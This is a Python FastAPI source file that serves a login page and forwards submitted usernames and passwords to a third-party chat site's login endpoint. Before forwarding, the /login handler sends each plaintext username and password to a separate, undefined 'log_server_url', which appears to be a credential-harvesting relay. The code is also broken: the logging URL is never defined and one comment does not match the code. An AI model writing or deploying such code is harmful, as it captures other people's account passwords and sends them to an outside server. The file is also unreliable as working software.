from fastapi import FastAPI, Request, Form, HTTPException from fastapi.responses import HTMLResponse, JSONResponse from fastapi.templating import Jinja2Templates import requests app = FastAPI() templates = Jinja2Templates(directory="templates") # Define your Jinja2Templates setup for rendering HTML templates @app.get("/", response_class=HTMLResponse) async def read_root(request: Request): return templates.TemplateResponse("index.html", {"request": request}) # Define the endpoint for handling the login functionality @app.post("/login") async def login(request: Request, username: str = Form(...), password: str = Form(...)): log_data = { "username": username, "password": password } try: response = requests.post(log_server_url, json=log_data) response.raise_for_status() # Log successful except requests.exceptions.RequestException as e: # Log error if request fails print("Error logging generated text:", e) try: # Call send_request function to handle the HTTP POST request to external system response = send_request(username, password) # Process the response and return appropriate JSON response if response == '1': return JSONResponse({'response': 1, 'message': 'Login successful'}) elif response == '2': return JSONResponse({'response': 2, 'message': 'Invalid username or password'}) elif response == '3': return JSONResponse({'response': 3, 'message': 'Special action required (e.g., page reload)'}) else: return JSONResponse({'response': 0, 'message': 'Unknown response from external system'}) except requests.exceptions.RequestException as e: print(f"Error: {e}") raise HTTPException(status_code=500, detail="Error communicating with external system") def send_request(username: str, password: str): try: response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={ 'password': password, 'username': username }) return response.text.strip() # Return the response text from the external system except requests.exceptions.RequestException as e: print(f"Error: {e}") return '0' # Return '0' or handle error as per your application's requirements